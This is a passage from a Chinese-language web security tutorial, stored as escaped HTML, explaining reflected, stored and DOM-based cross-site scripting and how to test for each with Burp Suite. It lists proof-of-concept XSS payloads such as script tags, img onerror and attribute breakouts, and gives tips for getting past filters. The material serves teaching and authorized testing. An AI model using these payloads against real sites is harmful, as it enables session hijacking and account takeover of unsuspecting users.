&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;应用程序依然直接回显参数内容，导致响应中包含恶意脚本：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;您搜索的关键词：&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;cm&#34;&gt;/* 恶意代码逻辑 */&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;当受害者点击该恶意URL时，恶意脚本会在其浏览器中执行，且执行上下文与受害者的应用程序会话相关联——攻击者可借此获取用户会话凭证、篡改页面内容等。&lt;/p&gt;
&lt;h4 id=&#34;影响&#34;&gt;影响
&lt;/h4&gt;&lt;p&gt;若攻击者能够控制在受害用户浏览器中执行的脚本，通常可完全攻陷该用户的账户与交互环境。具体而言，攻击者可实现以下操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行受害用户在应用内有权限完成的任意操作；&lt;/li&gt;
&lt;li&gt;查看受害用户可访问的所有信息；&lt;/li&gt;
&lt;li&gt;修改受害用户有权限更改的各类数据；&lt;/li&gt;
&lt;li&gt;以&lt;strong&gt;受害用户的身份&lt;/strong&gt;与应用内其他用户发起交互（包括实施恶意攻击），且此类操作会显示为受害用户本人所为。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;攻击者需通过&lt;strong&gt;外部传播渠道&lt;/strong&gt;诱导受害用户发起受控请求，方可成功实施反射型 XSS 攻击。常见传播手段包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在自身控制的网站或支持用户生成内容的第三方平台上植入恶意链接；&lt;/li&gt;
&lt;li&gt;通过电子邮件、推特（Twitter）或其他即时通讯工具向目标用户发送恶意链接。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;攻击方式&#34;&gt;攻击方式
&lt;/h4&gt;&lt;p&gt;反射型XSS存在多种具体表现形式，其漏洞利用所需的攻击载荷（Payload）类型及漏洞影响范围，主要取决于以下两个核心因素：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;反射数据在响应中的位置&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;应用程序将用户输入数据反射至响应内容时，会嵌入不同的上下文场景（如HTML标签内、标签属性中、JavaScript代码块里等），不同位置对攻击载荷的格式要求截然不同。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;示例1：数据嵌入HTML标签文本中（如&lt;code&gt;&amp;lt;p&amp;gt;用户输入&amp;lt;/p&amp;gt;&lt;/code&gt;），通常需使用&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;等标签构造恶意脚本；&lt;/li&gt;
&lt;li&gt;示例2：数据嵌入HTML标签属性中（如&lt;code&gt;&amp;lt;img src=&amp;quot;用户输入&amp;quot;&amp;gt;&lt;/code&gt;），可能需要先闭合属性引号（如&lt;code&gt;&amp;quot;onload=恶意代码&amp;quot;&lt;/code&gt;）再注入脚本；&lt;/li&gt;
&lt;li&gt;示例3：数据嵌入JavaScript代码中（如&lt;code&gt;var x = &amp;quot;用户输入&amp;quot;&lt;/code&gt;），需先闭合字符串或代码块（如&lt;code&gt;&amp;quot;; 恶意代码; //&lt;/code&gt;）才能让脚本执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;应用程序对提交数据的预处理&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;若应用程序在反射数据前，对用户输入执行了验证、过滤或编码等处理（如过滤&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签、将特殊字符转义为HTML实体等），则需针对性调整攻击载荷：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;若过滤了&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签，可改用&lt;code&gt;&amp;lt;img onload&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;svg onload&amp;gt;&lt;/code&gt;等不含被过滤关键词的事件驱动型脚本；&lt;/li&gt;
&lt;li&gt;若对&lt;code&gt;&amp;lt;&lt;/code&gt;、&lt;code&gt;&amp;gt;&lt;/code&gt;等字符进行了HTML编码，可尝试在JavaScript上下文或属性上下文等未编码的场景中注入，或利用&lt;strong&gt;编码绕过&lt;/strong&gt;技巧（如大小写混淆、特殊字符替换）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;漏洞发现&#34;&gt;漏洞发现
&lt;/h4&gt;&lt;p&gt;绝大多数反射型XSS漏洞可通过Burp Suite的Web漏洞扫描器快速、可靠地检测到。以下是&lt;strong&gt;手动测试反射型XSS漏洞的完整步骤&lt;/strong&gt;，结合实战场景拆解操作逻辑：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、覆盖所有输入入口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;需逐一测试应用程序HTTP请求中所有可能&lt;strong&gt;传入数据的入口&lt;/strong&gt;，确保无遗漏：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心输入点：URL查询字符串（如&lt;code&gt;?id=123&lt;/code&gt;）、POST请求体（表单数据）、URL路径（如&lt;code&gt;/user/[输入值]&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;可选测试点：HTTP请求头（如Referer、User-Agent、Cookie等）—— 需注意：部分仅能通过特定请求头触发的XSS类行为，实际可能无法利用（因浏览器对请求头的输入限制或同源策略约束）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;二、提交随机字母数字值，验证数据是否反射&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;构造测试值&lt;/strong&gt;：为每个输入入口提交一个&lt;strong&gt;唯一的随机字母数字值&lt;/strong&gt;（如&lt;code&gt;x7z9p2q5&lt;/code&gt;）。要求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅含字母数字（避免触发输入验证拦截）；&lt;/li&gt;
&lt;li&gt;长度约8字符（既简短易通过验证，又能降低响应中偶然匹配的概率）；&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;工具辅助高效测试&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用Burp Intruder的“随机生成十六进制值”功能生成测试值；&lt;/li&gt;
&lt;li&gt;开启Burp Intruder的“Grep Payloads”设置，自动标记包含提交值的响应（快速筛选出存在反射的入口）；&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;核心目的&lt;/strong&gt;：确认提交的随机值是否原封不动（或仅轻微修改）出现在响应内容中—— &lt;strong&gt;存在反射&lt;/strong&gt;是触发XSS的前提。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三、确定反射上下文&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;针对响应中随机值出现的每个位置，分析其&lt;strong&gt;嵌入上下文&lt;/strong&gt;（不同上下文需对应不同攻击载荷），常见场景包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTML标签间文本：如&lt;code&gt;&amp;lt;p&amp;gt;随机值&amp;lt;/p&amp;gt;&lt;/code&gt;（直接嵌入标签内容）；&lt;/li&gt;
&lt;li&gt;带引号的标签属性：如&lt;code&gt;&amp;lt;input value=&amp;quot;随机值&amp;quot;&amp;gt;&lt;/code&gt;（可能是单引号、双引号或无引号包裹）；&lt;/li&gt;
&lt;li&gt;JavaScript代码中：如&lt;code&gt;var data = &amp;quot;随机值&amp;quot;;&lt;/code&gt;（嵌入脚本字符串、注释或代码块）；&lt;/li&gt;
&lt;li&gt;CSS样式中：如&lt;code&gt;&amp;lt;style&amp;gt;body{color:随机值;}&amp;lt;/style&amp;gt;&lt;/code&gt;（较少见，但需注意上下文约束）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;四、测试候选 Payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;根据反射上下文，设计能触发JavaScript执行的初始候选载荷，操作步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;将请求发送到Burp Repeater（右键请求 → Send to Repeater）；&lt;/li&gt;
&lt;li&gt;保留原始随机值（作为定位标记），在其前后插入候选载荷（如在&lt;code&gt;x7z9p2q5&lt;/code&gt;前添加&lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;在Burp Repeater的响应视图中，搜索原始随机值—— Burp会高亮所有反射位置，便于快速查看载荷是否被原样保留；&lt;/li&gt;
&lt;li&gt;核心判断：若载荷未被修改且符合上下文语法（如标签闭合正确、引号匹配），则可能触发XSS。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;五、测试替代载荷（应对输入过滤/修改）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;若候选载荷被应用程序过滤（如移除&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签）、编码（如将&lt;code&gt;&amp;lt;&lt;/code&gt;转义为&lt;code&gt;&amp;amp;lt;&lt;/code&gt;）或拦截，则需根据反射上下文和输入验证规则，调整载荷策略：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上下文适配：如HTML属性中用&lt;code&gt;&amp;quot;onload=alert(1)x=&amp;quot;&lt;/code&gt;（闭合属性引号+事件触发），JavaScript中用&lt;code&gt;&amp;quot;;alert(1);//&lt;/code&gt;（闭合字符串+注释后续代码）；&lt;/li&gt;
&lt;li&gt;绕过过滤：如大小写混淆（&lt;code&gt;&amp;lt;Script&amp;gt;alert(1)&amp;lt;/Script&amp;gt;&lt;/code&gt;）、标签替换（&lt;code&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/code&gt;替代&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;）、特殊字符编码（如URL编码、Unicode编码）；&lt;/li&gt;
&lt;li&gt;参考：可结合“跨站脚本攻击上下文”相关知识，针对性设计载荷。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;六、在浏览器中验证攻击效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;若在Burp Repeater中确认载荷有效，需在真实浏览器中验证（避免工具环境与实际浏览器的差异导致误判）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;触发方式：
&lt;ul&gt;
&lt;li&gt;URL参数注入：直接将含载荷的URL粘贴到浏览器地址栏；&lt;/li&gt;
&lt;li&gt;POST请求/请求头注入：用Burp Proxy拦截请求，修改参数后放行，观察浏览器行为；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;验证脚本：推荐执行简单可见的JavaScript（如&lt;code&gt;alert(document.domain)&lt;/code&gt;），若浏览器弹出包含当前域名的提示框，则说明XSS漏洞已成功利用。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;存储型&#34;&gt;存储型
&lt;/h3&gt;&lt;p&gt;应用程序从不可信来源接收数据后，未经过安全处理便将其纳入后续的 HTTP 响应中，导致恶意脚本被浏览器执行的漏洞类型。其核心特征是恶意数据会&lt;strong&gt;被应用程序持久化存储&lt;/strong&gt;（如存入数据库），而非仅在单次请求 - 响应周期中临时传递。&lt;/p&gt;
&lt;h4 id=&#34;示例-1&#34;&gt;示例
&lt;/h4&gt;&lt;p&gt;假设某网站支持用户对博客文章提交评论，且评论内容会对所有访问该文章的用户展示。用户提交评论时，发送的HTTP请求如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;POST&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;/post/comment&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;HTTP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Host&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;vulnerable-website.com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Content-Length&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;g&#34;&gt;postId=3&amp;amp;comment=This+post+was+extremely+helpful.&amp;amp;name=Carlos+Montoya&amp;amp;email=carlos%40normal-user.net
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;评论提交后，任何访问该博客文章的用户，都会在应用程序的响应中看到该评论内容：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;This post was extremely helpful.&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此时数据仅作为正常评论展示，无安全风险。&lt;/p&gt;
&lt;p&gt;若应用程序未对评论内容进行过滤、转义等安全处理，攻击者可提交包含恶意JavaScript代码的评论。在攻击者发送的请求中，恶意评论会被URL编码（避免传输过程中出现解析异常）：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;该恶意评论会被应用程序存储至数据库。当其他用户访问该博客文章时，应用程序会从数据库中读取该评论并嵌入响应内容，返回结果如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;cm&#34;&gt;/* Bad stuff here... */&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;此时，攻击者注入的恶意脚本会在受害用户的浏览器中执行，且执行上下文与受害用户的应用程序会话相关联。&lt;/p&gt;
&lt;h4 id=&#34;影响-1&#34;&gt;影响
&lt;/h4&gt;&lt;p&gt;存储型 XSS 与反射型 XSS 的关键区别在于&lt;strong&gt;攻击的自包含性&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;存储型 XSS 的攻击完全依托应用程序自身完成：攻击者只需将恶意脚本注入并存储到应用中（如评论区、数据库），无需依赖外部渠道诱导用户触发（如发送恶意 URL、诱导提交表单），只需等待用户自然访问包含恶意脚本的页面即可。&lt;/li&gt;
&lt;li&gt;反射型 XSS 则依赖外部触发：攻击者必须通过邮件、社交平台等外部方式，诱导用户主动发起包含恶意代码的请求，攻击才能生效。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当 XSS 漏洞仅影响&lt;strong&gt;已登录用户&lt;/strong&gt;时，存储型 XSS 的自包含特性会显著提升攻击成功率：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;反射型 XSS 的攻击存在 “时间窗口限制”：若用户点击恶意链接时未登录应用，攻击将无法利用用户会话权限，大概率失效；&lt;/li&gt;
&lt;li&gt;存储型 XSS 可完全规避该问题：用户只有在登录状态下才会访问包含恶意脚本的页面（如已登录用户查看评论、个人中心等），一旦访问，恶意脚本会直接在用户的登录会话上下文的中执行，攻击成功率极高。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;漏洞发现-1&#34;&gt;漏洞发现
&lt;/h4&gt;&lt;p&gt;一、明确测试范围&lt;/p&gt;
&lt;p&gt;需测试的输入入口（数据进入应用的渠道）&lt;/p&gt;
&lt;p&gt;所有攻击者可注入数据的场景均需覆盖，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心输入点：URL 查询字符串、POST 请求体中的参数 / 数据，URL 文件路径（如&lt;code&gt;/profile/[输入值]&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;特殊输入点：部分在反射型 XSS 中难以利用的 HTTP 请求头（存储型场景下可能被持久化，需纳入测试）；&lt;/li&gt;
&lt;li&gt;带外输入渠道（取决于应用功能）：攻击者通过非直接交互方式提交数据的路径，例如：
&lt;ul&gt;
&lt;li&gt;邮件应用：处理收到的邮件内容；&lt;/li&gt;
&lt;li&gt;社交动态展示应用：解析第三方平台（如 Twitter）的推文数据；&lt;/li&gt;
&lt;li&gt;新闻聚合应用：嵌入其他网站的来源数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;需测试的输出出口（数据展示的场景）&lt;/p&gt;
&lt;p&gt;所有可能向用户返回数据的 HTTP 响应场景，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;公开页面（如博客评论区、商品评价页）；&lt;/li&gt;
&lt;li&gt;私密页面（如用户个人中心、后台管理面板）；&lt;/li&gt;
&lt;li&gt;特殊功能页面（如审计日志、历史操作记录、通知列表）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;二、手测&lt;/p&gt;
&lt;p&gt;若逐一测试 “输入 - 输出” 的所有组合（每个输入对应每个输出），在多页面应用中完全不现实。更高效的做法是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;系统性遍历输入入口：为每个输入点提交一个&lt;strong&gt;唯一标识值&lt;/strong&gt;（如&lt;code&gt;stored_xss_test_123&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;监控应用响应：观察所有后续访问的页面响应，检测该标识值是否出现；&lt;/li&gt;
&lt;li&gt;重点关注高风险功能：优先测试评论区、个人资料编辑、动态发布等典型存储场景；&lt;/li&gt;
&lt;li&gt;验证数据持久性：若标识值出现在响应中，需确认该数据是 “跨请求存储”（如数据库存储），而非仅在单次请求中反射（避免误判为反射型 XSS）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;三、漏洞验证&lt;/p&gt;
&lt;p&gt;当找到明确的 “输入 - 输出” 对应关系后，需按以下步骤验证存储型 XSS 漏洞，流程与反射型 XSS 测试大致一致：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;确定输出上下文：分析标识值在响应中的嵌入位置（如 HTML 标签间、标签属性、JavaScript 代码块等）；&lt;/li&gt;
&lt;li&gt;设计适配载荷：根据上下文场景，构造能触发 JavaScript 执行的候选攻击载荷（如属性上下文用&lt;code&gt;&amp;quot;onerror=alert(1)x=&amp;quot;&lt;/code&gt;，JS 上下文用&lt;code&gt;&amp;quot;;alert(1);//&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;提交并验证：将载荷通过输入入口提交（如发布含载荷的评论），访问对应的输出页面，检查载荷是否被原样存储并展示；&lt;/li&gt;
&lt;li&gt;绕过输入处理：若载荷被过滤 / 编码，根据应用的输入验证规则（如过滤&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签、HTML 编码），调整替代载荷（如事件驱动标签、大小写混淆、编码绕过）；&lt;/li&gt;
&lt;li&gt;浏览器确认：最终在真实浏览器中访问输出页面，验证恶意脚本是否实际执行（如用&lt;code&gt;alert(document.domain)&lt;/code&gt;触发弹窗）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id=&#34;dom型&#34;&gt;DOM型
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;文档对象模型&lt;/strong&gt;（DOM）通过将文档的结构（例如表示网页的 HTML）以对象的形式存储在内存中，将网页与脚本或编程语言连接起来。尽管将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 核心语言的一部分，但它通常与 JavaScript 相关。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;DOM型跨站脚本攻击（DOM-based XSS）漏洞的核心成因是：JavaScript从攻击者可控制的&lt;strong&gt;数据源&lt;/strong&gt;（如URL）获取数据后，将其传递给支持动态代码执行的&lt;strong&gt;数据接收点（Sink）&lt;/strong&gt;（如&lt;code&gt;eval()&lt;/code&gt;函数、&lt;code&gt;innerHTML&lt;/code&gt;属性），导致攻击者注入的恶意JavaScript代码被执行，最终通常可实现劫持用户账户等攻击目的。&lt;/p&gt;
&lt;h4 id=&#34;漏洞发现-2&#34;&gt;漏洞发现
&lt;/h4&gt;&lt;p&gt;绝大多数DOM型XSS漏洞可通过Burp Suite的Web漏洞扫描器快速、可靠地检测。手动测试需借助带开发者工具的浏览器（如Chrome），按“逐个测试数据源→针对性验证接收点”的逻辑开展。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、测试HTML类接收点&lt;/strong&gt;（如&lt;code&gt;innerHTML&lt;/code&gt;、&lt;code&gt;document.write()&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;HTML类接收点的核心特征是：攻击者输入的数据会最终&lt;strong&gt;嵌入DOM结构&lt;/strong&gt;中，测试步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;注入标识字符串&lt;/strong&gt;：将随机字母数字组合（如&lt;code&gt;dom_xss_test_789&lt;/code&gt;）注入目标数据源（如URL查询字符串&lt;code&gt;?param=dom_xss_test_789&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;检查DOM中的位置&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;注意：浏览器“查看源代码”功能无效（无法显示JavaScript动态修改后的DOM），需打开Chrome开发者工具（F12），在「Elements」面板中按&lt;code&gt;Ctrl+F&lt;/code&gt;（Mac为&lt;code&gt;Command+F&lt;/code&gt;）搜索标识字符串，定位其在DOM中的具体位置；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分析上下文并测试&lt;/strong&gt;：根据标识字符串的嵌入上下文，调整输入内容测试是否可突破限制：
&lt;ul&gt;
&lt;li&gt;若在双引号包裹的属性中（如&lt;code&gt;&amp;lt;input value=&amp;quot;标识字符串&amp;quot;&amp;gt;&lt;/code&gt;），尝试注入双引号（&lt;code&gt;&amp;quot;&lt;/code&gt;）+ 事件脚本（如&lt;code&gt;&amp;quot;?onclick=alert(1)x=&amp;quot;&lt;/code&gt;），测试是否能跳出属性并触发脚本；&lt;/li&gt;
&lt;li&gt;若在HTML标签间（如&lt;code&gt;&amp;lt;div&amp;gt;标识字符串&amp;lt;/div&amp;gt;&lt;/code&gt;），尝试注入&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签或事件驱动标签（如&lt;code&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;p&gt;不同浏览器对URL数据源的编码行为不同，直接影响攻击效果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chrome、Firefox、Safari：会对&lt;code&gt;location.search&lt;/code&gt;（查询字符串）和&lt;code&gt;location.hash&lt;/code&gt;（片段标识符）进行URL编码（如&lt;code&gt;&amp;lt;&lt;/code&gt;编码为&lt;code&gt;%3C&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;IE11、旧版Edge（非Chromium内核）：不会对上述数据源编码；&lt;/li&gt;
&lt;li&gt;若注入的数据在被处理前已被URL编码，通常无法触发XSS（编码后的特殊字符无法被浏览器解析为脚本语法）。&lt;/li&gt;
&lt;/ul&gt;
